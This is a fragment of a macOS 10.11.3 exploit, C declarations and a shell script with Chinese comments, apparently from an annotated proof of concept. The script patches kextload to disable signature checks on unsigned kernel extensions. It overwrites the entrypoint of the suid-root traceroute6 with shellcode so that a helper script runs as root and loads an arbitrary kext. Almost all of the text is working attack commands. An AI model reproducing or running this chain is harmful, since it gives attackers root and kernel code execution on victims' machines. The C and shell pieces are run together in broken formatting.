// at what offset (rounded down to a page boundary) from the start of the mapping in the target should we write? size_t target_patch_start_offset = 0;
// how much should we write (rounded up to a page boundary) size_t target_patch_write_length = 0;
// pointer to the replacement bytes to overwrite with char* replacement_bytes = NULL;
/* apply the patch, recording the lowest and highest addresses we touch */ // original is page-aligned // 对original文件进行patch // 这个patch的函数只是为了对kextload进行patch,关闭对未签名内核扩展的验证
if [ -z $1 ] then echo 'usage: ./load_kext.sh <path/to/kext>' exit $E_MISSING_POS_PARAM fi
# we have a binary patch for the 10.11.3 version of kextload (which has the kext-management entitlement) # so lets build a script we can exec as root to apply that patch and load our kext
# 通过patch可以使得kextload拥有权限
# first, we need a thin'ed version of kextload # 从fat格式中提取x86_64的macho文件 lipo -thin x86_64 -output kextload_64 `which kextload`
# 生成patch kextload并加载内核扩展的脚本 echo '#!/bin/zsh' > kext_loading_helper.sh echo "# run me as root to load: $1" >> kext_loading_helper.sh echo "/usr/sbin/chown -R root:wheel $1" >> kext_loading_helper.sh echo "./executer -p kextload_disable_signature_checks.binpatch -o kextload_64 -- `which kextload` $1" >> kext_loading_helper.sh chmod +x kext_loading_helper.sh
# build a binary patch to apply to traceroute6 (a suid-root binary, any will do though*) which overwrites # its entrypoint with shellcode to exec the script we just wrote (note that its a zsh script so will maintain euid 0) # 根据python脚本生成对traceroute6进行patch的binpatch文件 # 目标是为了利用漏洞在root权限下执行上面生成的kext_loading_helper.sh脚本 python build_exec_patch.py `which traceroute6` `pwd`/kext_loading_helper.sh traceroute6_exec_kextloader.binpatch
# use the exploit to apply that patch at exec time to the suid-root binary # 利用刚刚生成的binpatch执行traceroute6 ./executer -p traceroute6_exec_kextloader.binpatch -o `which traceroute6` -- `which traceroute6` -invalid